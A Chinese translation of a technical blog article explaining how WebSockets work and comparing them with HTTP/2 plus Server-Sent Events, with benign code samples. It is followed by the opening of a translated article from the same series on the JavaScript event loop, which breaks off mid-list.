译者:[yoyoyohamapi](https://github.com/yoyoyohamapi) > * 校对者:[NeoyeElf](https://github.com/NeoyeElf) [athena0304](https://github.com/athena0304) # JavaScript 是如何工作的:深入剖析 WebSockets 和拥有 SSE 技术 的 HTTP/2,以及如何在二者中做出正确的选择 欢迎来到旨在探索 JavaScript 以及它的核心元素的系列文章的第五篇。在认识、描述这些核心元素的过程中,我们也会分享一些当我们构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-intro) 的时候遵守的一些经验规则,这是一个轻量级的 JavaScript 应用,其具备的健壮性和高性能让它在市场中保有一席之地。 如果你错过了前面的文章,你可以在这儿找到它们: 1. [对引擎、运行时和调用栈的概述](https://juejin.im/post/5a05b4576fb9a04519690d42) 2. [深入 V8 引擎以及 5 个写出更优代码的技巧](https://juejin.im/post/5a102e656fb9a044fd1158c6) 3. [内存管理以及四种常见的内存泄漏的解决方法](https://juejin.im/post/59ca19ca6fb9a00a42477f55) 4. [事件循环和异步编程的崛起以及 5 个如何更好的使用 async/await 编码的技巧](https://juejin.im/post/5a221d35f265da43356291cc) 这一次,我们将深入到通信协议中,去讨论和对比 WebSockets 和 HTTP/2 的属性和构成。我们将快速比较 WebSockets 和 HTTP/2,并在最后,针对网络协议,分享一些如何选择这2种技术的想法。 #### 简介 现在,富交互 web 应用已然司空见惯了。由于 internet 经过了漫长的发展,这一点看起来也不足为奇了。 最初,internet 的建立不是为了支持这样动态的、复杂的 web 应用程序。它只被认为是一个 HTML 页面的集合,页面间能够链接到其他页面,从而构成了一个 “web” 这样一个信息载体的概念。internet 中每个事物都是由 HTTP 中的请求/响应(request/response)范式构建而成。一个客户端加载了一个页面后将不会再发生任何事,除非用户点击并跳转到了下一页。 2005 年左右,AJAX 技术的引入让许多人开始探索客户端和服务器间**双向通信(bidirectional)**的可能。然而,所有的 HTTP 通信都是由客户端掌控的,这要求用户交互式地或者周期轮询式地去从服务器拉取新数据。 #### 让 HTTP 成为 “双向通信的” 能够让服务器“主动地”发送数据给客户端的技术已经出现了一段时间了,例如 [“Push”](https://en.wikipedia.org/wiki/Push_technology) 和 [“Comet”](http://en.wikipedia.org/wiki/Comet_%28programming%29)。 为了制造出服务器主动给客户端发送数据的假象,最常用的一个 hack 是**长轮询(long polling)**。通过长轮询,客户端打开了一个到服务端的 HTTP 连接,该连接会一直保持直到有数据返回。无论什么时候服务器有了需要被送达的数据,它都会将数据作为一个响应传输到客户端。 让我们看看一个非常简单的长轮询代码片段长什么样: ```javascript (function poll(){ setTimeout(function(){ $.ajax({ url: 'https://api.example.com/endpoint', success: function(data) { // 使用 `data` 来做一些事 // ... // 递归地开始下一次轮询 poll(); }, dataType: 'json' }); }, 10000); })(); ``` 这是一个自执行函数,它将自动运行。其设置了一个 10 秒的间隔,当一个异步请求发送完成后,在其回调方法中又会再次调用这个异步请求`。 其他一些技术还涉及到了 [Flash](http://help.adobe.com/en_US/FlashPlatform/reference/actionscript/3/flash/net/Socket.html) 、 XHR multipart request 以及 [htmlfiles](http://cometdaily.com/2007/12/27/a-standards-based-approach-to-comet-communication-with-rest/) 。 所有的这些方案都面临了相同的问题:它们都是建立在 HTTP 上的,这就使得它们不适合那些需要低延迟的应用。例如浏览器中的第一人称射击这样实时性要求高的在线游戏。 #### WebSockets 简介 [WebSocket](https://developer.mozilla.org/en-US/docs/Web/API/WebSockets_API) 规范定义了一个 API 用来建立一个 web 浏览器和服务器之间的 “socket” 通信。通俗点说,客户端和服务器间将建立一个持续的连接,这让双方都能在任何时候发送数据给彼此。 ![](https://cdn-images-1.medium.com/max/800/1*a4lA5FYDkjA9mv53NPKtOg.png) 客户端通过一个被称为 WebSocket **握手(handshake)**的过程建立一个 WebSocket 连接。该过程开始于客户端发送了一个普通的 HTTP 请求到服务器。一个 `Upgrade` header 包含在了请求头中,它告诉了服务器现在客户端想要建立一个 WebSocket 连接。 让我们看看在客户端如何打开一个 WebSocket 连接: ```javascript // 创建一个具有加密连接的 WebSocket var socket = new WebSocket('ws://websocket.example.com'); ``` > WebSocket URL 使用了 `ws` scheme。也可以使用 `wss` 来服务于安全的 WebSocket 连接,这类似于 `HTTPS`。 这个 scheme 仅只是启动了一个进程来打开客户端到 websocket.example.com 的 WebSocket 连接。 下面是初始化请求头的简单示例: ```http GET ws://websocket.example.com/ HTTP/1.1 Origin: http://example.com Connection: Upgrade Host: websocket.example.com Upgrade: websocket ``` 如果服务器支持 WebSocket 协议,它将同意进行协议更新,并通过响应头中的 `Upgrade` 同客户端通信。 让我们看看在 Node.js 中这是如何实现的: ```javascript // 我们使用这个 WebSocket 实现: https://github.com/theturtle32/WebSocket-Node var WebSocketServer = require('websocket').server; var http = require('http'); var server = http.createServer(function(request, response) { // 处理 HTTP 请求。 }); server.listen(1337, function() { }); // 创建 server wsServer = new WebSocketServer({ httpServer: server }); // WebSocket server wsServer.on('request', function(request) { var connection = request.accept(null, request.origin); // 下面这个回调方法很重要,我们将在这里处理所有来自用户的消息 connection.on('message', function(message) { // 处理 WebSocket 消息 }); connection.on('close', function(connection) { // 连接关闭时进行的操作 }); }); ``` 在连接建立以后,服务器通过响应头的 `Upgrade` 进行回复: ```http HTTP/1.1 101 Switching Protocols Date: Wed, 25 Oct 2017 10:07:34 GMT Connection: Upgrade Upgrade: WebSocket ``` 一旦连接建立,客户端下 WebSocket 实例的 `open` 事件将会被触发: ```javascript var socket = new WebSocket('ws://websocket.example.com'); // 当 WebSocket 被打开后,显示一条已连接消息。 socket.onopen = function(event) { console.log('WebSocket is connected.'); }; ``` 现在,握手完成,最初的一个 HTTP 连接被一个使用相同底层 TCP/IP 连接的 WebSocket 连接所取代。自此,任何一方都可以开始发送数据了。 通过 WebSockets,你可以尽情地传输数据,而不会遇到使用传统 HTTP 请求时的瓶颈。使用 WebSocket 传输的数据被称作**消息(messages)**,每一条消息都包含了一个或多个**帧(frames)**,它们承载了你要发送的数据(payload)。为了保证消息在送达客户端以后能够被正确解析,每一帧都会在头部填充关于 payload 的 4-12 个字节。基于帧的消息系统能够减少非 payload 数据的传输数量,从而大幅减少延迟。 **注意**:需要留意的是,只有当所有帧都到达,并且原始消息 payload 也被解析,客户端才会接受新消息通知。 #### WebSocket URLs 前文中,我们简要介绍了 WebSocket 引入了一个新的 URL scheme。实际上,其引入了两个新的 schema(协议标识符):`ws://` 和 `wss://`。 WebSocket URLs 则有一个指定 schema 的语法。WebSocket URLs 较为特别,它们并不支持锚点(anchor),例如 `#sample_anchor`。 WebSocket 风格的 URL 与 HTTP 风格的 URL 具有相同的规则。`ws` 不会进行加密编码,并且默认端口是 80。而 `wss` 则要求 TLS 编码,且默认端口是 443。 #### 成帧协议(Framing Protocal) 让我们深入到成帧协议中。下面是 [RFC](https://tools.ietf.org/html/rfc6455#page-27) 提供给我们的帧格式: ``` 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-------+-+-------------+-------------------------------+ |F|R|R|R| opcode|M| Payload len | Extended payload length | |I|S|S|S| (4) |A| (7) | (16/64) | |N|V|V|V| |S| | (if payload len==126/127) | | |1|2|3| |K| | | +-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - + | Extended payload length continued, if payload len == 127 | + - - - - - - - - - - - - - - - +-------------------------------+ | |Masking-key, if MASK set to 1 | +-------------------------------+-------------------------------+ | Masking-key (continued) | Payload Data | +-------------------------------- - - - - - - - - - - - - - - - + : Payload Data continued ... : + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Payload Data continued ... | +---------------------------------------------------------------+ ``` 在 RFC 所规定的 WebSocket 版本中,每个包只有一个头部,但是这个头部非常复杂。现在我们解释下它的组成部分: * `fin` (1 bits):指出了当前帧是消息的最后一帧。绝大多数时候消息都能被一帧容纳,所以这一个 bit 通常都会被设置。实验显示 FireFox 将会在 32K 之后创建第二个帧。 * `rsv1`、`rsv2`、`rsv3`(每个都是 1 bits):除非扩展协议为它们定义了非零值的含义,否则三者都应当被设置为 0。如果收到了一个非零值,并且没有任何没有任何扩展协议定义了该非零值的意义,那么接收端将会使这次连接失败。 * `opcode`(4 bits):说明了帧的含义。下面是一些经常使用的取值: ​ `0x00`:当前帧继续传输上一帧的 payload。 ​ `0x01`:当前帧含有文本数据。 ​ `0x02`:当前帧含有二进制数据。 ​ `0x08`:当前帧终止了连接。 ​ `0x09`:当前帧为 ping。 ​ `0x0a`:当前帧为 pong。 ​ (如你所见,还有很多取值未被使用,未来它们会被用作表示其他含义。) * `mask`(1 bits):指示了连接是否被掩码。就目前来说,每条从客户端到服务器的消息都必须经过掩码处理,否则,按规定需要终止连接。 * `payload_len`(7 bits):payload 长度。WebSocket 的帧长度区间为: 如果是 0–125,则直接指示了 payload 长度。如果是 126,则意味着接下来两个字节将指明长度,如果是 127,则意味着接下来 8 个字节将指明长度。所以,一个 payload 的长度将可能是 7 bit、16 bit 或者 64 bit 以内。 * `masking-key`(32 bits):所有由客户端发送给服务器的帧都被一个包含在帧里面的 32 bit 的值进行了掩码处理。 * `payload`:极大可能被掩码了的实际数据,由 `payload_len` 标识了长度。 为什么 WebSocket 是基于帧(frame-based)的,而不是基于流(stream-based)的?我和你一样都不清楚,我也苛求学到更多,如果你对此有任何见解,可以在文章下面评论留言。当然,也可以加入到 [HackerNews 上这个主题的讨论中](https://news.ycombinator.com/item?id=3377406)。 #### 帧里面的数据 如上文所述,一段数据可以被分片为多个帧。传输数据的第一帧中通过一个 opcode 指出了需要被传输的数据是什么类型。这是非常必要的,因为当规范出台时,JavaScript 尚未对二进制数据提供支持。`0x01` 指出了数据是 utf-8 编码的文本数据,`0x02` 指出了数据是二进制数据。大多数人们会在传输 JSON 时选择文本 opcode。当你发送二进制数据时,数据会在浏览器中以一种特殊的 [Blob](https://developer.mozilla.org/en-US/docs/Web/API/Blob) 形式展现。 通过 WebSocket 发送数据的 API 非常简单: ```javascript var socket = new WebSocket('ws://websocket.example.com'); socket.onopen = function(event) { socket.send('Some message'); // Sends data to server. }; ``` 当 WebSocket 开始接收数据(在客户端),一个 `message` 事件就会被触发。该事件包含了一个叫做 `data` 的属性可以被用来访问消息内容。 ```javascript // 处理服务器送来的数据。 socket.onmessage = function(event) { var message = event.data; console.log(message); }; ``` 通过 Chrome 开发者工具中的 Network Tab,你可以很容易地查看 WebSocket 连接中的每一帧数据。 ![](https://cdn-images-1.medium.com/max/800/1*Sz4wI2ukt91vRrgf8UonWw.png) #### 分片(Fragmentation) payload 可以被划分为多个独立的帧。接收端被认为能够缓存这些帧,直到某个帧的 `fin` 位被设置。所以你可以用 11 个包传输 “Hello World” 字符串,每个包大小为 6(头部长度)+ 1 字节。对于控制包(control package)来说,分片则是不被允许的。然而,你被要求能够处理[交错的](https://en.wikipedia.org/wiki/Interleaving_%28data%29)控制帧。这是为了应付 TCP 包是以任意序列到达的状况。 合并各个帧的逻辑大致如下: * 收到第一帧 * 记住 opcode * 连接各个帧的 payload 直到 `fin` 被设置 * 断言每个包的 opcode 都是 0 分片的主要目的在于当消息传输开始时,允许传输一个未知大小的消息。通过分片技术,服务器可以选择合理的大小的 buffer,并在 buffer 充满时,写入一个分片到网络中。分片技术的次要用例则是多路复用(multiplexing),让某个逻辑信道上的大消息占据整个输出信道是不可取的,因此多路复用需要能够支持将消息划分为若干小的分片,从而更好的共享输出信道。 #### 什么是心跳机制? 握手完成之后的任意时刻,客户端或者服务器都能够发送一个 ping 到对面。当 ping 被接收以后,接收方必须尽快回送一个 pong。这就是一次心跳,你可以通过这个机制来确保客户端仍处于连接状态。 一个 ping 或者 pong 只是普通的一个帧,但它们是**控制帧(control frame)**。Ping 的 opcode 为 `0x9`,pong 则为 `0xA`。当你收到了一个 ping,你回送的 pong 需要和 ping 具有一样的 payload data(ping 和 pong 允许的最大 payload 长度为 **125**)。如果你收到了没有和一个 ping 结对的 pong 的话,直接忽略即可。 心跳机制是非常有用的。例如负载均衡这样的一些服务可能会终止掉空闲连接,因此你需要利用心跳机制观测连接状况。另外,收信方是无法知道远端连接是否终止。只有下一次发送消息时才能知道远端是否被终止。 #### 错误处理 你能够通过监听 `event` 事件处理任何发生的错误。 就像下面这样: ```javascript var socket = new WebSocket('ws://websocket.example.com'); // 处理任何发生的错误。 socket.onerror = function(error) { console.log('WebSocket Error: ' + error); }; ``` #### 关闭连接 为了关闭连接,客户端或服务端都可以发送一个 opcode 为 `0x8` 的控制帧来关闭连接。一旦收到这样一帧,另一端就需要发送一个关闭帧作为回应。接着发送端便会关闭连接。关闭连接后收到的任何数据都会被丢弃。 下面的代码展示了如何从客户端初始化 WebSocket 连接的关闭: ```javascript // 如果连接是打开的,则关闭 if (socket.readyState === WebSocket.OPEN) { socket.close(); } ``` 通过监听 `close ` 事件,你可以在在连接关闭后进行一些“善后”工作: ```javascript // 做一些必要的清理 socket.onclose = function(event) { console.log('Disconnected from WebSocket.'); }; ``` 服务器也必须监听 `close` 事件,做一些它需要的处理工作: ```javascript connection.on('close', function(reasonCode, description) { // 连接关闭了 }); ``` #### WebSockets 和 HTTP/2 的对比 即便 HTTP/2 有很多优点,但其也无法完全替代现有的 push/streaming 技术。 对 HTTP/2 的首要认识是知道它不是 HTTP 的完全替代。HTTP verb、状态码以及大多数头部内容都仍然保持了一致。HTTP/2 着眼于提高数据的传输效率。 现在,如果我们对比 HTTP/2 和 WebSocket,会发现二者许多相似之处: | | HTTP/2 | WebSocket | | --------------------- | --------------------------- | --------- | | 头部(Headers) | 压缩(HPACK) | 不压缩 | | 二进制数据(Binary) | Yes | 二进制或文本数据 | | 多路复用(Multiplexing) | Yes | Yes | | 优先级技术(Prioritization) | Yes | Yes | | 压缩(Compression) | Yes | Yes | | 方向(Direction) | Client/Server + Server Push | 双向的 | | 全双工(Full-deplex) | Yes | Yes | 正如我们之前提到的,HTTP/2 引入了 [Server Push](https://en.wikipedia.org/wiki/Push_technology?oldformat=true) 来允许服务器主动地发送资源到客户端缓存中。但是,并不允许直接发送数据到客户端应用程序中。服务器推送的内容只能被浏览器处理,而不是客户端应用程序代码,这意味着应用中没有 API 能够感知到推送。 这也让 Server-Sent Events(SSE)变得很有用。当客户端和服务器的连接建立后,SSE 这个机制能够让服务器异步地推送数据到客户端。之后,服务器随时都可以在准备好后发送数据。这可以被看作是单向的 [发布-订阅](https://en.wikipedia.org/wiki/Publish%E2%80%93subscribe_pattern) 模型。SSE 还提供了一个叫做 EventSource 的标准 JavaScript 客户端 API,这个 API 已经被大多数现代浏览器作为 [W3C](https://www.w3.org/TR/eventsource/) 所制定的HTML5 标准的一部分所实现了。对于那些不支持 [EventSource API](http://caniuse.com/#feat=eventsource) 的浏览器来说,这些 API 也能被轻易地 polyfill。 由于 SSE 是基于 HTTP 的,所以它天然亲和 HTTP/2,因此可以组合二者,以吸取各自精华:HTTP/2 通过多路复用流来提高传输层的效率,SSE 则为客户端应用程序提供了接收推送的 API。 为了完整地解释流和多路复用是什么,让我们先看看 IETF 对此的定义: “流(stream)” 是一个独立的、双向的帧序列,这些帧在处于 HTTP/2 连接中的客户端和服务器之间交换。其主要特征是一个单个 HTTP/2 连接可以包含多个同时打开的流,任意一端都可以交错地使用这些流中的帧。 ![](https://cdn-images-1.medium.com/max/800/1*pSh7IORJoUXbwCjyJ7fM9A.png) 要记住 SSE 是基于 HTTP 的。这意味着通过使用 HTTP/2,不仅能够将 SSE 流交错地送入到一个 TCP 连接中去,也能完成 SSE 流(服务器向客户端推送)的合并的和客户端请求(客户端到服务器)的合并。得益于 HTTP/2 和 SSE,我们现在得到了一个具有简洁 API 的 HTTP 双向连接,这让应用代码能监听到服务器推送。曾几何时,双向通信能力的缺失成为了 SSE 相对于 WebSocket 的主要缺陷。但 HTTP/2 让这不再成为问题。这使得开发者能够回归到基于 HTTP 的通信方式,而不再使用 WebSocket。 #### 如何在 WebSocket 和 HTTP/2 中作出选择? 在 HTTP/2 + SSE 的大浪潮中,WebSocket 仍将保有一席之地,因为它已经被广泛使用,在一些非常特殊的使用场景下,相较于 HTTP/2,其优势在于能够以更少的开销(如头部信息)来构建应用的双向通信能力。 倘若你想要构建一个端到端之间需要传输大量消息的大型多人在线游戏,WebSocket 将非常非常适合。 一般而言,当你需要真正的**低延迟**,希望客户端和服务器能有接近实时的连接,就使用 WebSocket。这就可能需要你重新审视和构建你的服务端应用,并聚焦到事件队列这样的技术上。 如果你的使用场景是展示实时市场新闻、市场数据、或是聊天应用等等,那么 HTTP/2 + SSE 能让你继续受益于 HTTP 世界时,还能享受到高效的双向通信通道: * WebSocket 在处理浏览器兼容性时让人头痛,因为其将 HTTP 连接更新到了一个完全不同协议,因此无法再用 HTTP 做任何事。 * 扩展性和安全性:Web 组件(防火墙、入侵检测、负载均衡)是基于 HTTP 来构建、维护和配置的,考虑到弹性伸缩、安全性和可扩展,那些大型/重要的应用会选择使用 HTTP。 接下来,你可以看下几种技术的浏览器支持状况。首先看到 WebSocket: ![](https://cdn-images-1.medium.com/max/800/1*YFr59cEF2qxzjjleebvbcQ.png) WebSocket 兼容性问题现在好多了,是吧? HTTP/2 则有些尴尬: ![](https://cdn-images-1.medium.com/max/800/1*C1VWSKOx89vqdiSiflDRJw.png) * TLS-only (这倒不算坏) * 只有在 Windows 10 系统下才对 IE 11 部分支持 * Safari 支持则需要系统是 OSX 10.11+ * 只有在你可以通过 ALPN(你的服务器需要支持的扩展)进行协商时,才能支持 HTTP/2 SSE 的支持则更好一些: ![](https://cdn-images-1.medium.com/max/800/1*9ryMUEZhtbTg7lECHVz0fw.png) 只有 IE/Edge 没有提供支持(Opera Mini 既不支持 SSE,也不支持 WebSocket,我们把它排除在外)。但在 IE/Edge 中,有一些正式的 polyfill 能够帮助支持 SSE。 #### 在 SessionStack 中,我们是如何作出决策的 我们在 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-5-websockets-outro) 中按需使用了 WebSocket 和 HTTP。一旦你将 SessionStack 集成到你的应用中,它就开始记录所有的 DOM 改变、用户交互、JavaScript 异常、堆栈跟踪、失败的网络请求以及 debug 信息,允许你通过视频来复现问题,从而了解到用户到底做了什么。SessionStack 是完全**实时的**并且不会对你的应用造成任何的性能影响。 这意味着,当用户在使用浏览器时,你可以实时地观察用户的行为。在这个场景下,由于不需要双向通信(只是服务器将数据流发送到浏览器),所以我们选择了 HTTP。WebSocket 在这个场景下则显得大材小用了,难于维护和扩展。 然而集成到你应用中的 SessionStack 库却是使用的 WebSocket(如果支持的话,否则会退回到 HTTP)。其批量发送数数据到我们服务器,这也是一个单向通信。这个场景下,我们仍选择 WebSocket 是因为其为产品蓝图中的一些需要双向通信的特性提供了支持。 尝试使用 SessionStack 来了解和重现你 web 应用中存在的技术或者体验问题,我们为你提供了一个免费计划让你 [快速开始](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-5-websockets-getStarted)。 ![](https://cdn-images-1.medium.com/max/800/1*kEQmoMuNBDfZKNSBh0tvRA.png) #### 参考资料 * [http://lucumr.pocoo.org/2012/9/24/websockets-101/](http://lucumr.pocoo.org/2012/9/24/websockets-101/) * [http://blog.teamtreehouse.com/an-introduction-to-websockets](http://blog.teamtreehouse.com/an-introduction-to-websockets) * [https://www.infoq.com/articles/websocket-and-http2-coexist](https://www.infoq.com/articles/websocket-and-http2-coexist) * [https://tools.ietf.org/html/rfc6455](https://tools.ietf.org/html/rfc6455) --- > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区,文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域,想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。 ================================================ FILE: TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md ================================================ > * 原文地址:[How JavaScript works: Event loop and the rise of Async programming + 5 ways to better coding with async/await](https://blog.sessionstack.com/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with-2f077c4438b5) > * 原文作者:[Alexander Zlatkov](https://blog.sessionstack.com/@zlatkov?source=post_header_lockup) > * 译文出自:[掘金翻译计划](https://github.com/xitu/gold-miner) > * 本文永久链接:[https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md](https://github.com/xitu/gold-miner/blob/master/TODO/how-javascript-works-event-loop-and-the-rise-of-async-programming-5-ways-to-better-coding-with.md) > * 译者:[春雪](https://github.com/balancelove) > * 校对者:[athena0304](https://github.com/athena0304) [tvChan](https://github.com/tvchan) # JavaScript 是如何工作的: 事件循环和异步编程的崛起 + 5个如何更好的使用 async/await 编码的技巧 欢迎来到旨在探索 JavaScript 以及它的核心元素的系列文章的第四篇。在认识、描述这些核心元素的过程中,我们也会分享一些当我们构建 [SessionStack](https://www.sessionstack.com/?utm_source=medium&utm_medium=blog&utm_content=Post-4-eventloop-intro) 的时候遵守的一些经验规则,一个 JavaScript 应用应该保持健壮和高性能来维持竞争力。 如果你错过了前三章可以在这儿找到它们: 1. [对引擎、运行时和调用栈的概述](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf?source=collection_home---2------1----------------) 2. [深入 V8 引擎以及 5 个写出更优代码的技巧](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e?source=collection_home---2------2----------------) 3. [内存管理以及四种常见的内存泄漏的解决方法](https://blog.sessionstack.com/how-javascript-works-memory-management-how-to-handle-4-common-memory-leaks-3f28b94cfbec?source=collection_home---2------0----------------) 这次我们将展开第一篇文章的内容,回顾一下在单线程环境中编程的缺点,以及如何克服它们来构建出色的 JavaScript UI。按照惯例,在文章的末尾我们将分享 5 个如何使用 async/await 写出更简洁的代码的技巧。 #### **为什么单线程会限制我们?** 在 [第一篇文章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf) 中, 我们思考了一个问题 _当调用栈中的函数调用需要花费我们非常多的时间,会发生什么?_ 比如,想象一下你的浏览器现在正在运行一个复杂的图像转换的算法。 当调用栈有函数在执行,浏览器就不能做任何事了 —— 它被阻塞了。这意味着浏览器不能渲染页面,不能运行任何其它的代码,它就这样被卡住了。那么问题来了 —— 你的应用不再高效和令人满意了。 你的应用**卡住了**。 在某些情况下,这可能不是一个很严重的问题。但这其实是一个更大的问题。一旦你的浏览器开始在调用栈运行很多很多的任务,它就很有可能会长时间得不到响应。在这一点上,大多数的浏览器会采取抛出错误的解决方案,询问你是否要终止这个页面: 它很丑,并且它会毁了你的用户体验: ![](https://cdn-images-1.medium.com/max/800/1*MCt4ZC0dMVhJsgo1u6lpYw.jpeg) #### **JavaScript 程序的单元块** 你可能会将你的 JavaScript 代码写在一个 .js 文件中,但你的程序一定是由几个代码块组成的,而且只有一个能够 __现在__ 执行,其余的都会在 __之后__ 执行。最常见的单元块就是函数。 JavaScript 开发的新手最不能理解的就是 __之后__ 的代码并不一定会在 __现在__ 的代码执行之后执行。换句话说,在定义中不能 __现在__ 立刻完成的任务将会异步执行,这意味着可能不会像你认为的那样发生上面所说的阻塞问题。 让我们来看看下面的例子: ```js // ajax(..) 是任意库提供的任意一个 Ajax 的函数 var response = ajax('https://example.com/api'); console.log(response); // `response` 不会是响应的 response,因为 Ajax 是异步的 ``` 你可能已经意识到了,标准的 Ajax 请求不会同步发生,这意味着在代码执行的时候,ajax(..) 函数在没有任何返回值之前,是不会赋值给 response 变量的。 有一个简单的办法去 “等待” 异步函数返回它的结果,就是使用 **回调函数**: ```js ajax('https://example.com/api', function(response) { console.log(response); // `response` 现在是有值的 }); ``` 注意:虽然实际上是可以 **同步** 实现 Ajax 请求的,但是最好永远都不要这么做。如果你使用了同步的 Ajax 请求,你的 JavaScript 应用就会被阻塞 —— 用户就不能点击、输入数据、导航或是滚动。这将会阻止用户的任何交互动作。这是一种非常糟糕的做法。 这就是使用同步的样子,但是千万不要这么做,不要毁了你的 web 应用: ```js // 假设你正在使用 jQuery jQuery.ajax({ url: 'https://api.example.com/endpoint', success: function(response) { // 这是你的回调 }, async: false // 这是一个坏主意 }); ``` 我们使用 Ajax 请求只是一个例子。事实上你可以异步执行任何代码。 `setTimeout(callback, milliseconds)` 也能够异步执行。`setTimeout` 函数所做的就是设置了一个事件(超时)等待触发执行。我们来看一看: ```js function first() { console.log('first'); } function second() { console.log('second'); } function third() { console.log('third'); } first(); setTimeout(second, 1000); // 1000ms 后调用 `second` third(); ``` console 打印出来将会是下面这样的: ```js first third second ``` #### **解析事件循环** 我们先从一个奇怪的说法谈起 —— 尽管 JavaScript 允许异步的代码(就像是我们刚刚说的 `setTimeout`) ,但直到 ES6,JavaScript 自身从未有过任何关于异步的直接概念。JavaScript 引擎只会在任意时刻执行一个程序。 关于 JavaScript 引擎是如何工作的更多细节(特别是 V8 引擎)请看我们的[前一章](https://blog.sessionstack.com/how-javascript-works-inside-the-v8-engine-5-tips-on-how-to-write-optimized-code-ac089e62b12e)。 那么,谁会告诉 JS 引擎去执行你的程序?事实上,JS 引擎不是单独运行的 —— 它运行在一个宿主环境中,对于大多数开发者来说就是典型的浏览器和 Node.js。实际上,如今,JavaScript 被应用到了从机器人到灯泡的各种设备上。每个设备都代表了一种不同类型的 JS 引擎的宿主环境。 所有的环境都有一个共同点,就是都拥有一个 **事件循环** 的内置机制,它随着时间的推移每次都去调用 JS 引擎去处理程序中多个块的执行。 这意味着 JS 引擎只是任意的 JS 代码按需执行的环境。是它周围的环境来调度这些事件(JS 代码执行)。 所以,比如当你的 JavaScript 程序发出了一个 Ajax 请求去服务器获取数据,你在一个函数(回调)中写了 “response” 代码,然后 JS 引擎就会告诉宿主环境: “嘿,我现在要暂停执行了,但是当你完成了这个网络请求,并且获取到数据的时候,请回来调用这个函数。” 然后浏览器设置对网络响应的监听,当它有东西返回给你的时候,它将会把回调函数插入到事件循环队列里然后执行。 我们来看下面的图: ![](https://cdn-images-1.medium.com/max/800/1*FA9NGxNB6-v1oI2qGEtlRQ.png) 你可以在[前一章](https://blog.sessionstack.com/how-does-javascript-actually-work-part-1-b0bacc073cf)了解到更多关于内存堆和调用栈的知识。 那图中的这些 Web API 是什么东西呢?从本质上讲,它们是你无法访问的线程,但是你能够调用它们。它们是浏览器并行启动的一部分。如果你是一个 Node.js 的开发者,这些就是 C++ 的一些 API。 那 __事件循环__ 究竟是什么? ![](https://cdn-images-1.medium.com/max/800/1*KGBiAxjeD9JT2j6KDo0zUg.png) 事件循环有一个简单的任务 —— 去监控调用栈和回调队列。如果调用栈是空的,它就会取出队列中的第一个事件,然后将它压入到调用栈中,然后运行它。 这样的迭代在事件循环中被称作一个 **tick**。每一个事件就是一个回调函数。 ```js console.log('Hi'); setTimeout(function cb1() { console.log('cb1'); }, 5000); console.log('Bye'); ``` 让我们**执行**一下这段代码,看看会发生什么: 1. 状态是干净的。浏览器 console 是干净的,并且调用栈是空的。 ![](https://cdn-images-1.medium.com/max/800/1*9fbOuFXJHwhqa6ToCc_v2A.png) 2. `console.log('Hi')` 被添加到了调用栈里。 ![](https://cdn-images-1.medium.com/max/800/1*dvrghQCVQIZOfNC27Jrtlw.png) 3. `console.log('Hi')` 被执行。 ![](https://cdn-images-1.medium.com/max/800/1*yn9Y4PXNP8XTz6mtCAzDZQ.png) 4. `console.log('Hi')` 被移出调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*iBedryNbqtixYTKviPC1tA.png) 5. `setTimeout(function cb1() { ... })` 被添加到调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*HIn-BxIP38X6mF_65snMKg.png) 6. `setTimeout(function cb1() { ... })` 执行。浏览器创建了一个定时器(Web API 的一部分),并且开始倒计时。 ![](https://cdn-images-1.medium.com/max/800/1*vd3X2O_qRfqaEpW4AfZM4w.png) 7. `setTimeout(function cb1() { ... })` 本身执行完了,然后被移出调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*_nYLhoZPKD_HPhpJtQeErA.png) 8. `console.log('Bye')` 被添加到调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*1NAeDnEv6DWFewX_C-L8mg.png) 9. `console.log('Bye')` 执行。 ![](https://cdn-images-1.medium.com/max/800/1*UwtM7DmK1BmlBOUUYEopGQ.png) 10. `console.log('Bye')` 被移出调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*-vHNuJsJVXvqq5dLHPt7cQ.png) 11. 在至少 5000ms 过后,定时器完成,然后将回调 `cb1` 压入到回调队列。 ![](https://cdn-images-1.medium.com/max/800/1*eOj6NVwGI2N78onh6CuCbA.png) 12. 事件循环从回调队列取走 `cb1`,然后把它压入调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*jQMQ9BEKPycs2wFC233aNg.png) 13. `cb1` 被执行,然后把 `console.log('cb1')` 压入调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*hpyVeL1zsaeHaqS7mU4Qfw.png) 14. `console.log('cb1')` 被执行。 ![](https://cdn-images-1.medium.com/max/800/1*lvOtCg75ObmUTOxIS6anEQ.png) 15. `console.log('cb1')` 被移出调用栈。 ![](https://cdn-images-1.medium.com/max/800/1*Jyyot22aRkKMF3LN1bgE-w.png) 16. `cb1` 